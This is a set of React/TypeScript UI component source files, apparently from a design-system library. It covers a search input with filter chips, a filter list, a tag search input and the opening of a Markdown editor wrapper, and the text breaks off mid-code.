useAutoLimitTags({\n    count: filterChips.length,\n    limitTags,\n    // When chips exist, pass empty placeholder so the hook only reserves input minWidth,\n    // not the full placeholder text width — gives more room for chips on narrow screens\n    placeholder: filterChips.length > 0 ? \"\" : placeholder,\n  })\n\n  // Always show at least 1 chip when chips exist (industry standard: Gmail, MUI, Ant Design)\n  const visibleCount = filterChips.length > 0 ? Math.max(1, rawVisibleCount) : rawVisibleCount\n\n  // ---- Hidden tags popup ----\n  const hiddenTagsRef = React.useRef<HTMLDivElement>(null)\n  const hiddenTagsPopupRef = React.useRef<HTMLDivElement>(null)\n  const [showHiddenTags, setShowHiddenTags] = React.useState(false)\n\n  React.useEffect(() => {\n    if (!showHiddenTags) return\n    const handleClick = (e: MouseEvent) => {\n      const target = e.target as Node\n      if (!hiddenTagsRef.current?.contains(target) && !hiddenTagsPopupRef.current?.contains(target)) {\n        setShowHiddenTags(false)\n      }\n    }\n    document.addEventListener(\"mousedown\", handleClick)\n    return () => document.removeEventListener(\"mousedown\", handleClick)\n  }, [showHiddenTags])\n\n  // ---- Derived chip slicing ----\n  const hiddenCount = filterChips.length - visibleCount\n  const visibleChips = filterChips.slice(0, visibleCount)\n  const hiddenChips = filterChips.slice(visibleCount)\n\n  // ---- Derive flat list (possibly grouped) ----\n  const { flatResults, groups } = React.useMemo(() => {\n    if (!groupBy) return { flatResults: results, groups: null }\n\n    const grouped = new Map<string, SearchResult[]>()\n    for (const r of results) {\n      const key = groupBy(r)\n      const arr = grouped.get(key)\n      if (arr) {\n        arr.push(r)\n      } else {\n        grouped.set(key, [r])\n      }\n    }\n    return { flatResults: results, groups: grouped }\n  }, [results, groupBy])\n\n  // ---- Auto-show logic ----\n  const meetsMinQuery = debouncedValue.length >= minQueryLength\n  const autoShow = meetsMinQuery\n  const dropdownVisible = showDropdownProp ?? (isOpen && autoShow)\n\n  // ---- Reset highlight when results change ----\n  React.useEffect(() => {\n    setHighlightedIndex(-1)\n  }, [flatResults.length])\n\n  // ---- Handlers ----\n  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {\n    const newVal = e.target.value\n    if (onChange) {\n      onChange(newVal)\n    } else {\n      setInternalValue(newVal)\n    }\n    if (!isOpen) setIsOpen(true)\n    setHighlightedIndex(-1)\n  }\n\n  const handleClear = (e: React.MouseEvent) => {\n    e.stopPropagation()\n    e.preventDefault()\n    if (onChange) {\n      onChange(\"\")\n    } else {\n      setInternalValue(\"\")\n    }\n    inputRef.current?.focus()\n  }\n\n  const handleResultClick = (\n    result: SearchResult,\n    e?: React.MouseEvent,\n  ) => {\n    onResultSelect?.(\n      result,\n      e\n        ? {\n            metaKey: e.metaKey,\n            ctrlKey: e.ctrlKey,\n            shiftKey: e.shiftKey,\n            altKey: e.altKey,\n            button: e.button,\n          }\n        : undefined,\n    )\n    setIsOpen(false)\n  }\n\n  const handleKeyDown = (e: React.KeyboardEvent) => {\n    switch (e.key) {\n      case \"ArrowDown\":\n        e.preventDefault()\n        if (!isOpen) setIsOpen(true)\n        setHighlightedIndex((prev) =>\n          prev < flatResults.length - 1 ? prev + 1 : 0\n        )\n        break\n      case \"ArrowUp\":\n        e.preventDefault()\n        setHighlightedIndex((prev) =>\n          prev > 0 ? prev - 1 : flatResults.length - 1\n        )\n        break\n      case \"Enter\":\n        e.preventDefault()\n        if (highlightedIndex >= 0 && flatResults[highlightedIndex]) {\n          handleResultClick(flatResults[highlightedIndex])\n        } else {\n          onSubmit?.(currentValue)\n        }\n        break\n      case \"Escape\":\n        setIsOpen(false)\n        setHighlightedIndex(-1)\n        break\n      case \"Backspace\":\n        if (!currentValue && filterChips.length > 0 && onFilterRemove) {\n          onFilterRemove(filterChips[filterChips.length - 1].id)\n        }\n        break\n    }\n  }\n\n  const handleOpenChange = (open: boolean) => {\n    setIsOpen(open)\n  }\n\n  // ---- Default result renderer ----\n  const defaultRenderResult = (result: SearchResult, isHighlighted: boolean) => (\n    <div className=\"flex items-center gap-3 w-full min-w-0\">\n      {result.icon && (\n        <span className=\"flex-shrink-0 text-ods-text-secondary [&_svg]:size-4\">\n          {result.icon}\n        </span>\n      )}\n      <div className=\"min-w-0 flex-1\">\n        <div className={cn(\n          \"text-h6 truncate\",\n          isHighlighted ? \"text-ods-accent\" : \"text-ods-text-primary\"\n        )} title={result.title}>\n          {result.title}\n        </div>\n        {result.description && (\n          <div className=\"text-h6 text-ods-text-secondary truncate mt-0.5\" title={result.description}>\n            {result.description}\n          </div>\n        )}\n      </div>\n      {result.type && (\n        <span className=\"flex-shrink-0 text-h6 text-ods-text-muted uppercase\">\n          {result.type}\n        </span>\n      )}\n    </div>\n  )\n\n  // ---- Render a result row ----\n  const renderRow = (result: SearchResult, index: number) => {\n    const isHighlighted = index === highlightedIndex\n    return (\n      <div\n        key={result.id}\n        role=\"option\"\n        aria-selected={isHighlighted}\n        className={cn(\n          \"flex items-center min-h-10 px-3 cursor-pointer transition-colors border-b border-ods-border last:border-b-0\",\n          isHighlighted && \"bg-ods-bg-hover\",\n          !isHighlighted && \"hover:bg-ods-bg-hover\"\n        )}\n        onClick={(e) => handleResultClick(result, e)}\n        onMouseEnter={() => setHighlightedIndex(index)}\n      >\n        {renderResult ? renderResult(result, isHighlighted) : defaultRenderResult(result, isHighlighted)}\n      </div>\n    )\n  }\n\n  // ---- Dropdown content ----\n  const renderDropdownContent = () => {\n    if (isLoading) {\n      return (\n        <div className=\"px-4 py-3 text-ods-text-secondary text-h6\">\n          Loading...\n        </div>\n      )\n    }\n\n    if (flatResults.length === 0) {\n      return (\n        <div className=\"px-4 py-3 text-ods-text-secondary text-h6\">\n          {emptyResultsText}\n        </div>\n      )\n    }\n\n    if (groups) {\n      let globalIndex = 0\n      return Array.from(groups.entries()).map(([groupLabel, groupResults]) => (\n        <div key={groupLabel}>\n          <div className=\"px-4 py-2 text-h6 font-semibold text-ods-text-secondary uppercase bg-ods-bg\">\n            {groupLabel}\n          </div>\n          {groupResults.map((result) => {\n            const idx = globalIndex++\n            return renderRow(result, idx)\n          })}\n        </div>\n      ))\n    }\n\n    return flatResults.map((result, index) => renderRow(result, index))\n  }\n\n  // ---- Determine if we have a value worth clearing ----\n  const hasValue = currentValue.length > 0\n\n  return (\n    <div className={cn(\"relative\", className)} ref={containerRef}>\n      <PopoverPrimitive.Root open={dropdownVisible} onOpenChange={handleOpenChange} modal={false}>\n        <PopoverPrimitive.Anchor asChild>\n          <div\n            className={cn(\n              containerStyles,\n              \"hover:bg-ods-bg-hover hover:border-ods-border-hover active:bg-ods-bg-active active:border-ods-border-active\",\n              dropdownVisible && \"!border-ods-accent\"\n            )}\n            onClick={() => {\n              inputRef.current?.focus()\n              setIsOpen(true)\n            }}\n          >\n            {/* Start Adornment — pinned left, shrink-0 */}\n            <span className=\"flex-shrink-0 text-ods-text-secondary transition-colors duration-200 group-has-[:focus]:text-ods-accent [&_svg]:size-4 md:[&_svg]:size-6\">\n              {startAdornment !== undefined ? startAdornment : <SearchIcon />}\n            </span>\n\n            {/* Middle zone: chips + input — overflow hidden, single line */}\n            <div ref={middleRef} className=\"flex-1 flex items-center gap-2 min-w-0 overflow-hidden\">\n              {/* Visible filter chips */}\n              {visibleChips.map((chip) => (\n                <Tag\n                  key={chip.id}\n                  variant={chipVariantToTagVariant(chip.variant)}\n                  label={chip.label}\n                  labelClassName=\"truncate max-w-[120px]\"\n                  onClose={onFilterRemove ? () => onFilterRemove(chip.id) : undefined}\n                />\n              ))}\n\n              {/* \"+N\" overflow badge */}\n              {hiddenCount > 0 && (\n                <div ref={hiddenTagsRef} className=\"shrink-0\">\n                  <button\n                    ref={badgeRef}\n                    type=\"button\"\n                    onClick={(e) => {\n                      e.stopPropagation()\n                      setShowHiddenTags((prev) => !prev)\n                    }}\n                    className={cn(\n                      \"flex items-center h-8 px-2\",\n                      \"bg-ods-card border border-ods-border rounded-[6px]\",\n                      \"text-h5 text-ods-text-secondary\",\n                      \"hover:bg-ods-bg-hover transition-colors cursor-pointer\",\n                    )}\n                    aria-label={`${hiddenCount} more selected filters`}\n                  >\n                    {getLimitTagsText(hiddenCount)}\n                  </button>\n                </div>\n              )}\n\n              {/* Input */}\n              <input\n                ref={inputRef}\n                type=\"text\"\n                value={currentValue}\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                onFocus={() => {\n                  setIsOpen(true)\n                  setShowHiddenTags(false)\n                }}\n                placeholder={currentPlaceholder}\n                className={innerInputStyles}\n              />\n            </div>\n\n            {/* End adornment / Clear — pinned right, shrink-0 */}\n            <div className=\"flex items-center gap-1 shrink-0 ml-auto\">\n              {hasValue && (\n                <button\n                  type=\"button\"\n                  onClick={handleClear}\n                  className=\"flex items-center justify-center hover:opacity-70 transition-opacity\"\n                  aria-label=\"Clear search\"\n                >\n                  <XmarkCircleIcon className=\"text-ods-text-secondary\" size={24} />\n                </button>\n              )}\n              {endAdornment}\n            </div>\n          </div>\n        </PopoverPrimitive.Anchor>\n\n        <PopoverPrimitive.Content\n          className={cn(\n            \"z-50 w-[var(--radix-popover-trigger-width)] mt-1\",\n            \"bg-ods-card border border-ods-border rounded-[6px] overflow-hidden shadow-lg\",\n            \"flex flex-col max-h-[var(--radix-popper-available-height)]\",\n            \"data-[state=open]:animate-in data-[state=closed]:animate-out\",\n            \"data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n            \"data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95\",\n            \"data-[side=bottom]:slide-in-from-top-2 data-[side=top]:slide-in-from-bottom-2\",\n            dropdownClassName\n          )}\n          sideOffset={4}\n          align=\"start\"\n          // The anchor is the search field that raises the software keyboard,\n          // so these suggestions are always positioned with the keyboard up —\n          // see useKeyboardCollisionPadding.\n          collisionPadding={{ bottom: keyboardPadding }}\n          onOpenAutoFocus={(e) => {\n            e.preventDefault()\n            inputRef.current?.focus()\n          }}\n          onInteractOutside={(e) => {\n            if (containerRef.current?.contains(e.target as Node)) {\n              e.preventDefault()\n            }\n          }}\n        >\n          <ScrollAreaPrimitive.Root className=\"flex min-h-0 flex-col overflow-hidden\">\n            <ScrollAreaPrimitive.Viewport className=\"min-h-0 max-h-[320px] w-full\">\n              <div role=\"listbox\">\n                {renderDropdownContent()}\n              </div>\n            </ScrollAreaPrimitive.Viewport>\n            <ScrollAreaPrimitive.Scrollbar className=\"hidden\" orientation=\"vertical\">\n              <ScrollAreaPrimitive.Thumb />\n            </ScrollAreaPrimitive.Scrollbar>\n          </ScrollAreaPrimitive.Root>\n        </PopoverPrimitive.Content>\n      </PopoverPrimitive.Root>\n\n      {/* Hidden tags popup — outside overflow-hidden, positioned under badge */}\n      {showHiddenTags && hiddenCount > 0 && (\n        <HiddenTagsPopup\n          ref={hiddenTagsPopupRef}\n          items={hiddenChips.map(chip => ({ label: chip.label, value: chip.id }))}\n          style={{\n            left: badgeRef.current\n              ? badgeRef.current.getBoundingClientRect().left -\n                (containerRef.current?.getBoundingClientRect().left ?? 0)\n              : 0,\n          }}\n          onRemove={(value) => {\n            onFilterRemove?.(value as string)\n            if (hiddenCount <= 1) setShowHiddenTags(false)\n          }}\n        />\n      )}\n\n      {/* Off-screen measurement: placeholder text width — fixed positioning avoids scroll contribution */}\n      <span\n        ref={textMeasureRef}\n        aria-hidden=\"true\"\n        className=\"fixed -left-[9999px] top-0 pointer-events-none whitespace-nowrap text-ods-text-primary\"\n      >\n        {currentPlaceholder}\n      </span>\n\n      {/* Off-screen measurement: all chip widths */}\n      <div\n        ref={measureRef}\n        aria-hidden=\"true\"\n        className=\"fixed -left-[9999px] top-0 flex gap-2 pointer-events-none\"\n      >\n        {filterChips.map((chip) => (\n          <Tag\n            key={`m-${chip.id}`}\n            variant={chipVariantToTagVariant(chip.variant)}\n            label={chip.label}\n            labelClassName=\"truncate max-w-[120px]\"\n            onClose={() => {}}\n          />\n        ))}\n      </div>\n    </div>\n  )\n}\n\nexport default SearchInput\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as CheckboxPrimitive from \"@radix-ui/react-checkbox\"\nimport { cn } from \"../../utils/cn\"\nimport { CheckboxCheckmarkIcon } from \"../icons-v2-generated/signs-and-symbols/checkbox-checkmark-icon\"\n\nexport interface FilterListItemProps {\n  title: string\n  meta?: Array<string | number>\n  selected?: boolean\n  onToggle?: (selected: boolean) => void\n  disabled?: boolean\n  className?: string\n}\n\nexport function FilterListItem({\n  title,\n  meta,\n  selected = false,\n  onToggle,\n  disabled = false,\n  className,\n}: FilterListItemProps) {\n  const handleToggle = () => {\n    if (disabled) return\n    onToggle?.(!selected)\n  }\n\n  return (\n    <div\n      role=\"button\"\n      tabIndex={disabled ? -1 : 0}\n      aria-pressed={selected}\n      aria-disabled={disabled}\n      onClick={handleToggle}\n      onKeyDown={(e) => {\n        if (disabled) return\n        if (e.key === \"Enter\" || e.key === \" \") {\n          e.preventDefault()\n          handleToggle()\n        }\n      }}\n      className={cn(\n        \"flex w-full items-center gap-[var(--spacing-system-m)] px-[var(--spacing-system-m)] py-[var(--spacing-system-sf)]\",\n        \"border-b border-ods-border last:border-b-0\",\n        \"transition-colors outline-none\",\n        \"focus-visible:ring-2 focus-visible:ring-ods-accent\",\n        disabled\n          ? \"cursor-not-allowed opacity-60\"\n          : \"cursor-pointer hover:bg-ods-bg-hover\",\n        selected\n          ? \"bg-[var(--ods-open-yellow-secondary)] hover:bg-[var(--ods-open-yellow-secondary)]\"\n          : \"bg-ods-bg\",\n        className,\n      )}\n    >\n      <div className=\"flex min-w-0 flex-1 flex-col\">\n        <p className=\"truncate text-h4 text-ods-text-primary\" title={title}>\n          {title}\n        </p>\n\n        {meta && meta.length > 0 && (\n          <div\n            className={cn(\n              \"flex items-start gap-[var(--spacing-system-xxs)] text-h6\",\n              selected ? \"text-ods-accent\" : \"text-ods-text-secondary\",\n            )}\n          >\n            {meta.map((item, index) => (\n              <React.Fragment key={index}>\n                {index > 0 && <span aria-hidden=\"true\">•</span>}\n                <span>{item}</span>\n              </React.Fragment>\n            ))}\n          </div>\n        )}\n      </div>\n\n      <CheckboxPrimitive.Root\n        checked={selected}\n        onCheckedChange={(c) => onToggle?.(c === true)}\n        onClick={(e) => e.stopPropagation()}\n        disabled={disabled}\n        aria-label={title}\n        className={cn(\n          \"flex h-6 w-6 shrink-0 items-center justify-center rounded-md border-2\",\n          \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent\",\n          selected\n            ? \"border-ods-accent bg-ods-accent\"\n            : \"border-ods-text-secondary bg-ods-card\",\n        )}\n      >\n        <CheckboxPrimitive.Indicator className=\"flex items-center justify-center text-ods-text-on-accent\">\n          <CheckboxCheckmarkIcon size={10} />\n        </CheckboxPrimitive.Indicator>\n      </CheckboxPrimitive.Root>\n    </div>\n  )\n}\n\nexport interface FilterListProps<T = unknown> {\n  items: Array<{\n    id: string\n    title: string\n    meta?: Array<string | number>\n    disabled?: boolean\n    data?: T\n  }>\n  selectedIds: string[]\n  onChange: (selectedIds: string[]) => void\n  multiple?: boolean\n  className?: string\n}\n\nexport function FilterList<T = unknown>({\n  items,\n  selectedIds,\n  onChange,\n  multiple = true,\n  className,\n}: FilterListProps<T>) {\n  const handleToggle = (id: string, selected: boolean) => {\n    if (multiple) {\n      onChange(\n        selected ? [...selectedIds, id] : selectedIds.filter((v) => v !== id),\n      )\n    } else {\n      onChange(selected ? [id] : [])\n    }\n  }\n\n  return (\n    <div\n      role=\"listbox\"\n      aria-multiselectable={multiple}\n      className={cn(\"flex w-full flex-col\", className)}\n    >\n      {items.map((item) => (\n        <FilterListItem\n          key={item.id}\n          title={item.title}\n          meta={item.meta}\n          selected={selectedIds.includes(item.id)}\n          disabled={item.disabled}\n          onToggle={(selected) => handleToggle(item.id, selected)}\n        />\n      ))}\n    </div>\n  )\n}\n","\"use client\"\n\nimport {\n  type KeyboardEvent,\n  type MouseEvent as ReactMouseEvent,\n  type ReactNode,\n  useEffect,\n  useRef,\n  useState,\n} from \"react\"\n\nimport { SearchIcon } from \"../icons-v2-generated/interface/search-icon\"\nimport { XmarkCircleIcon } from \"../icons-v2-generated/signs-and-symbols/xmark-circle-icon\"\nimport { cn } from \"../../utils/cn\"\nimport { useAutoLimitTags } from \"../../hooks/ui/use-auto-limit-tags\"\nimport { HiddenTagsPopup } from \"./hidden-tags-popup\"\nimport { Tag } from \"./tag\"\n\n// ---------------------------------------------------------------------------\n// Types\n// ---------------------------------------------------------------------------\n\nexport interface TagSearchOption<T = string> {\n  label: string\n  value: T\n}\n\nexport interface TagSearchInputProps<T = string> {\n  /** Active tags displayed inline */\n  tags: TagSearchOption<T>[]\n  /** Controlled search input value */\n  searchValue: string\n  /** Called when input text changes */\n  onSearchChange: (value: string) => void\n  /** Called when a single tag is removed */\n  onTagRemove: (value: T) => void\n  /** Called when the clear-all button is clicked (clears tags + input) */\n  onClearAll?: () => void\n  /** Placeholder when no tags are present */\n  placeholder?: string\n  /** Placeholder when tags exist */\n  addMorePlaceholder?: string\n  /** Whether the component is disabled */\n  disabled?: boolean\n  /** Extra class names for the outer wrapper */\n  className?: string\n  /** Show the clear-all (x) icon on the right. Default true */\n  showClearAll?: boolean\n  /** Called when Enter is pressed */\n  onSubmit?: (value: string) => void\n  /** Forward arbitrary key events */\n  onKeyDown?: (e: KeyboardEvent<HTMLInputElement>) => void\n  /** Custom render for tag label */\n  renderTag?: (option: TagSearchOption<T>) => ReactNode\n  /** Custom render function for the \"+N\" overflow text */\n  getLimitTagsText?: (more: number) => ReactNode\n  /** Maximum number of visible tags. Set to \"auto\" for automatic calculation based on available width. Default \"auto\" */\n  limitTags?: number | \"auto\"\n}\n\n// ---------------------------------------------------------------------------\n// Component\n// ---------------------------------------------------------------------------\n\nexport function TagSearchInput<T = string>({\n  tags,\n  searchValue,\n  onSearchChange,\n  onTagRemove,\n  onClearAll,\n  placeholder = \"Search...\",\n  addMorePlaceholder = \"Add More...\",\n  disabled = false,\n  className,\n  showClearAll = true,\n  onSubmit,\n  onKeyDown,\n  renderTag,\n  getLimitTagsText = (more: number) => `+${more}`,\n  limitTags = \"auto\",\n}: TagSearchInputProps<T>) {\n  const currentPlaceholder = tags.length === 0 ? placeholder : addMorePlaceholder\n\n  const {\n    visibleCount, middleRef, measureRef, textMeasureRef, badgeRef, inputRef,\n  } = useAutoLimitTags({\n    count: tags.length,\n    limitTags,\n    placeholder: currentPlaceholder,\n  })\n\n  const wrapperRef = useRef<HTMLDivElement>(null)\n  const hiddenTagsRef = useRef<HTMLDivElement>(null)\n  const hiddenTagsPopupRef = useRef<HTMLDivElement>(null)\n  const [showHiddenTags, setShowHiddenTags] = useState(false)\n\n  // ---- Close hidden tags popup on outside click ----\n  useEffect(() => {\n    if (!showHiddenTags) return\n    const handleClick = (e: MouseEvent) => {\n      const target = e.target as Node\n      if (!hiddenTagsRef.current?.contains(target) && !hiddenTagsPopupRef.current?.contains(target)) {\n        setShowHiddenTags(false)\n      }\n    }\n    document.addEventListener(\"mousedown\", handleClick)\n    return () => document.removeEventListener(\"mousedown\", handleClick)\n  }, [showHiddenTags])\n\n  // ---- Derived state ----\n  const hiddenCount = tags.length - visibleCount\n  const visibleTags = tags.slice(0, visibleCount)\n  const hiddenTags = tags.slice(visibleCount)\n  const hasValue = tags.length > 0 || searchValue.length > 0\n\n  // ---- Event handlers ----\n  const handleKeyDown = (e: KeyboardEvent<HTMLInputElement>) => {\n    if (e.key === \"Enter\" && onSubmit) {\n      e.preventDefault()\n      onSubmit(searchValue)\n    }\n    onKeyDown?.(e)\n  }\n\n  const handleClearAll = (e: ReactMouseEvent) => {\n    e.stopPropagation()\n    e.preventDefault()\n    onClearAll?.()\n    inputRef.current?.focus()\n  }\n\n  return (\n    <div ref={wrapperRef} className=\"relative\">\n      {/* ---- Visible container ---- */}\n      <div\n        className={cn(\n          \"flex items-center rounded-[6px] border h-11 md:h-12 cursor-text\",\n          \"transition-colors duration-200\",\n          \"bg-ods-card border-ods-border\",\n          \"has-[:focus]:border-ods-accent\",\n          !disabled && \"hover:bg-ods-bg-hover hover:border-ods-border-hover\",\n          disabled && \"bg-ods-bg\",\n          disabled && \"cursor-not-allowed\",\n          // Match Input: grey the text and the icons, don't fade the whole\n          // control (a blanket opacity also washes out the border). Icons only —\n          // this container has no adornment spans of its own, so a `[&_span]`\n          // rule would ONLY have reached the selected `Tag` chips, whose label is\n          // a span, and greyed them into their own fill in the light theme.\n          \"has-[:disabled]:[&_svg]:text-ods-text-disabled\",\n          className,\n        )}\n        onClick={() => {\n          if (!disabled) inputRef.current?.focus()\n        }}\n      >\n        {/* Search icon — pinned left, responsive size */}\n        <div className=\"shrink-0 flex items-center pl-3\">\n          <SearchIcon className=\"text-ods-text-secondary size-4 md:size-6\" />\n        </div>\n\n        {/* Middle zone: tags + input — overflow hidden so tags never push clear btn */}\n        <div ref={middleRef} className=\"flex-1 flex items-center gap-2 min-w-0 overflow-hidden px-2\">\n          {visibleTags.map((tag) => (\n            <Tag\n              key={String(tag.value)}\n              variant=\"outline\"\n              label={renderTag ? renderTag(tag) : tag.label}\n              labelClassName=\"truncate max-w-[120px]\"\n              onClose={!disabled ? () => onTagRemove(tag.value) : undefined}\n            />\n          ))}\n\n          {/* \"+N\" overflow badge */}\n          {hiddenCount > 0 && (\n            <div ref={hiddenTagsRef} className=\"shrink-0\">\n              <button\n                ref={badgeRef}\n                type=\"button\"\n                onClick={(e) => {\n                  e.stopPropagation()\n                  setShowHiddenTags((prev) => !prev)\n                }}\n                className={cn(\n                  \"flex items-center h-8 px-2\",\n                  \"bg-ods-card border border-ods-border rounded-[6px]\",\n                  \"text-h5 text-ods-text-secondary\",\n                  \"hover:bg-ods-bg-hover transition-colors cursor-pointer\",\n                )}\n              >\n                {getLimitTagsText(hiddenCount)}\n              </button>\n            </div>\n          )}\n\n          {/* Search input */}\n          <input\n            ref={inputRef}\n            type=\"text\"\n            value={searchValue}\n            onChange={(e) => onSearchChange(e.target.value)}\n            onKeyDown={handleKeyDown}\n            placeholder={currentPlaceholder}\n            disabled={disabled}\n            className={cn(\n              \"flex-1 min-w-[60px] bg-transparent border-none outline-none\",\n              \"text-h4\",\n              \"text-ods-text-primary placeholder:text-ods-text-secondary\",\n              // Disabled - match Input exactly (value greys out, placeholder dims further)\n              \"disabled:cursor-not-allowed disabled:text-ods-text-disabled disabled:placeholder:text-ods-border\",\n            )}\n          />\n        </div>\n\n        {/* Clear all — pinned right */}\n        {showClearAll && hasValue && !disabled && (\n          <button\n            type=\"button\"\n            onClick={handleClearAll}\n            className=\"shrink-0 flex items-center justify-center pr-3 hover:opacity-70 transition-opacity cursor-pointer\"\n            aria-label=\"Clear all\"\n          >\n            <XmarkCircleIcon className=\"text-ods-text-secondary size-4 md:size-6\" />\n          </button>\n        )}\n      </div>\n\n      {/* ---- Hidden tags popup — outside overflow-hidden, positioned under badge ---- */}\n      {showHiddenTags && hiddenCount > 0 && (\n        <HiddenTagsPopup\n          ref={hiddenTagsPopupRef}\n          items={hiddenTags}\n          disabled={disabled}\n          style={{\n            left: badgeRef.current\n              ? badgeRef.current.getBoundingClientRect().left -\n                (wrapperRef.current?.getBoundingClientRect().left ?? 0)\n              : 0,\n          }}\n          onRemove={(value) => {\n            onTagRemove(value as T)\n            if (hiddenCount <= 1) setShowHiddenTags(false)\n          }}\n        />\n      )}\n\n      {/* ---- Off-screen measurement containers ---- */}\n      <span\n        ref={textMeasureRef}\n        aria-hidden=\"true\"\n        className=\"absolute left-0 top-0 pointer-events-none invisible -z-10 whitespace-nowrap text-h4\"\n      >\n        {currentPlaceholder}\n      </span>\n\n      <div\n        ref={measureRef}\n        aria-hidden=\"true\"\n        className=\"absolute left-0 top-0 flex gap-2 pointer-events-none invisible -z-10\"\n      >\n        {tags.map((tag) => (\n          <Tag\n            key={`m-${String(tag.value)}`}\n            variant=\"outline\"\n            label={renderTag ? renderTag(tag) : tag.label}\n            labelClassName=\"truncate max-w-[120px]\"\n            onClose={() => {}}\n          />\n        ))}\n      </div>\n    </div>\n  )\n}\n","\"use client\"\n\nimport React, { useRef, useCallback, useState, useEffect } from \"react\"\nimport dynamic from \"../../embed-shims/next-dynamic\"\nimport { Loader2, Upload } from \"lucide-react\"\nimport { cn } from \"../../utils/cn\"\n\nconst MDEditor = dynamic(() => import(\"@uiw/react-md-editor\"), { ssr: false })\n\nconst MARKDOWN_EDITOR_STYLE_ID = \"ods-markdown-editor-styles\"\n\nconst mdEditorCSS = `\n:root { --md-editor-text-color: var(--color-text-primary) !important; }\nbody .w-md-editor { background-color: var(--color-bg) !important; border: 1px solid var(--ods-system-greys-soft-grey) !important; border-radius: 6px !important; --md-editor-text-color: var(--color-text-primary) !important; --md-editor-box-shadow-color: transparent !important; box-shadow: none !important; }\nbody .w-md-editor-area, body .w-md-editor-input, body .w-md-editor-text, body .w-md-editor-text-pre, body .w-md-editor-text-input, body .w-md-editor-text-textarea { background-color: var(--color-bg-card) !important; color: var(--color-text-primary) !important; font-family: var(--font-family-body) !important; font-size: 18px !important; font-weight: 500 !important; line-height: 24px !important; padding: 16px !important; }\nbody .w-md-editor-text-textarea::placeholder { color: var(--color-text-secondary) !important; font-family: var(--font-family-body) !important; font-size: 18px !important; font-weight: 500 !important; }\nbody .w-md-editor-text .token, body .w-md-editor-text-pre .token, body .w-md-editor-text-textarea, body .w-md-editor-text-input { color: var(--color-text-primary) !important; }\nbody .w-md-editor-text-pre *, body .w-md-editor-text-textarea *, body .w-md-editor-text-input *, body .w-md-editor-text * { color: var(--color-text-primary) !important; }\nbody .w-md-editor-text-pre .token.title, body .w-md-editor-text-pre .token.bold, body .w-md-editor-text-pre .token.code, body .w-md-editor-text-pre .token.string, body .w-md-editor-text-pre .token.keyword { color: var(--color-text-primary) !important; }\nbody .w-md-editor-text-textarea, body .w-md-editor-text-input, body .w-md-editor-text-pre { color: var(--color-text-primary) !important; -webkit-text-fill-color: var(--color-text-primary) !important; text-shadow: none !important; filter: brightness(1) contrast(1) !important; }\nbody .w-md-editor { color: var(--color-text-primary) !important; }\nbody .w-md-editor *:not(.w-md-editor-toolbar *, .w-md-editor-preview *, .custom-preview-wrapper *) { color: var(--color-text-primary) !important; -webkit-text-fill-color: var(--color-text-primary) !important; }\n.w-md-editor-toolbar { background-color: var(--color-bg) !important; border-bottom: 1px solid var(--color-border-default) !important; padding: 12px 16px !important; }\n.w-md-editor-toolbar ul li button { background: transparent !important; border: none !important; color: var(--color-text-primary) !important; padding: 8px 12px !important; border-radius: 6px !important; transition: all 0.2s ease !important; min-height: 36px !important; min-width: 36px !important; }\n.w-md-editor-toolbar ul li button:hover { background-color: var(--color-border-default) !important; color: var(--ods-accent) !important; }\n.w-md-editor-toolbar ul li button.active, .w-md-editor-toolbar ul li button[aria-pressed=\"true\"] { background-color: var(--ods-accent) !important; color: var(--color-text-on-accent) !important; }\n.w-md-editor-toolbar-divider { display: none !important; }\n.w-md-editor-preview { background-color: var(--color-bg) !important; color: var(--color-text-primary) !important; border-left: 1px solid var(--color-border-default) !important; --color-border-default: var(--ods-system-greys-soft-grey) !important; --color-border-muted: var(--ods-system-greys-soft-grey) !important; --color-fg-muted: var(--ods-system-greys-grey) !important; }\n.w-md-editor-text { border-top: 1px solid var(--color-border-default) !important; }\n.w-md-editor-focus { border-color: var(--ods-accent) !important; }\nbody .w-md-editor .w-md-editor-bar { width: 24px !important; height: 12px !important; margin-left: auto !important; margin-right: 8px !important; cursor: ns-resize !important; }\nbody .w-md-editor .w-md-editor-bar svg { display: none !important; }\nbody .w-md-editor .w-md-editor-bar::after { content: '' !important; display: block !important; width: 24px !important; height: 4px !important; border-top: 2px solid var(--color-border-default) !important; border-bottom: 2px solid var(--color-border-default) !important; margin-top: 2px !important; border-radius: 1px !important; }\nbody .w-md-editor .w-md-editor-bar:hover::after { border-color: var(--color-text-secondary) !important; }\n`\n\nfunction MarkdownEditorStyles() {\n  useEffect(() => {\n    if (document.getElementById(MARKDOWN_EDITOR_STYLE_ID)) return\n    const style = document.createElement(\"style\")\n    style.id = MARKDOWN_EDITOR_STYLE_ID\n    style.textContent = mdEditorCSS\n    document.head.appendChild(style)\n    return () => {\n      style.remove()\n    }\n  }, [])\n  return null\n}\n\nexport interface MarkdownEditorProps {\n  /** Markdown string content */\n  value: string\n  /** Callback with updated markdown string */\n  onChange: (markdown: string) => void\n  /** Placeholder text shown when editor is empty */\n  placeholder?: string\n  /** Whether the editor is disabled */\n  disabled?: boolean\n  /** Initial editor height in pixels (default: 600). User can resize via drag handle. */\n  height?: number\n  /** Minimum editor height in pixels (default: 100) */\n  minHeight?: number\n  /** Additional className for the wrapper */\n  className?: string\n  /**\n   * File upload handler. Return the public URL of the uploaded file.\n   * If not provided, the upload button is hidden.\n   */\n  onUploadFile?: (file: File) => Promise<string>\n  /** Called after a file is successfully uploaded and inserted */\n  onFileUploaded?: (url: string, filename: string) => void\n  /** Custom preview renderer. Receives the markdown source string. */\n  renderPreview?: (source: string) => React.ReactNode\n}\n\nexport function MarkdownEditor({\n  value,\n  onChange,\n  placeholder = \"\",\n  disabled = false,\n  height = 600,\n  minHeight = 100,\n  className,\n  onUploadFile,\n  onFileUploaded,\n  renderPreview,\n}: MarkdownEditorProps) {\n  const fileInputRef = useRef<HTMLInputElement>(null)\n  const [isUploading, setIsUploading] = useState(false)\n  const [uploadProgress, setUploadProgress] = useState(\"\")\n  const [defaultExtraCommands, setDefaultExtraCommands] = useState<any[]>([])\n\n  useEffect(() => {\n    import(\"@uiw/react-md-editor\").then((mod) => {\n      if (mod.commands?.getExtraCommands) {\n        setDefaultExtraCommands(mod.commands.getExtraCommands())\n      }\n    })\n  }, [])\n\n  const handleChange = (val?: string) => {\n    onChange(val || \"\")\n  }\n\n  const 